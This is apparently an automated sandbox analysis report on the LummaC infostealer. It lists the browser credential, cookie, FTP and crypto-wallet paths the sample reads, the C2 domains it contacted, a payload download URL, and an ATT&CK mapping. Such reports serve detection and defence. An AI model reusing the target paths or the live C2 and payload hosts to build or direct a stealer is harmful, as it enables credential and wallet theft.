Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1653142478.000000000132F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1651190408.0000000001373000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1612424762.0000000001370000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1612765503.0000000001373000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1653049966.0000000001327000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1652849281.0000000001373000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1652937523.0000000001327000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1615463849.0000000001373000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f48jWpQ2F8.exe PID: 7456, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: f48jWpQ2F8.exe PID: 7456, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	34 Virtualization/Sandbox Evasion	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
f48jWpQ2F8.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
f48jWpQ2F8.exe	56%	Virustotal		Browse
f48jWpQ2F8.exe	100%	Avira	TR/Crypt.TPM.Gen
f48jWpQ2F8.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
discokeyus.lat	104.21.21.99	true	false	high
www.google.com	142.250.181.132	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
rapeflowwj.lat	unknown	unknown	false	high
grannyejh.lat	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
necklacebudi.lat	false	high
https://discokeyus.lat/api	false	high
aspecteirs.lat	false	high
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
energyaffai.lat	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_118.6.dr	false	high
https://duckduckgo.com/chrome_newtab	f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500000.1&cta	f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_f6f292994d7c60be109e4c185cbc03032d36d17160d4e639	f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_118.6.dr	false	high
https://www.linkedin.com/cws/share?url=$	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://discokeyus.lat:443/apiefender://%ProgramFiles%	f48jWpQ2F8.exe, 00000000.00000003.1697114867.0000000001330000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Youssef1313	chromecache_118.6.dr	false	high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://aka.ms/msignite_docs_banner	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_103.6.dr	false	high
http://polymer.github.io/AUTHORS.txt	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_118.6.dr	false	high
http://185.215.113.16/K	f48jWpQ2F8.exe, 00000000.00000003.1837845175.00000000059C9000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1838629288.00000000059C9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_118.6.dr	false	high
http://x1.c.lencr.org/0	f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pshelpmechoose	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://aka.ms/feedback/report?space=61	chromecache_118.6.dr	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://learn-video.azurefd.net/vod/player	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://twitter.com/intent/tweet?original_referer=$	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://github.com/gewarren	chromecache_118.6.dr	false	high
http://185.215.113.16/off/def.exepleWebKit/537.36	f48jWpQ2F8.exe, 00000000.00000002.1918438042.0000000000CFB000.00000004.00000010.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	f48jWpQ2F8.exe, 00000000.00000003.1615559661.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://discokeyus.lat/api07	f48jWpQ2F8.exe, 00000000.00000003.1737766387.0000000001392000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1838717053.0000000001390000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_118.6.dr	false	high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_118.6.dr	false	high
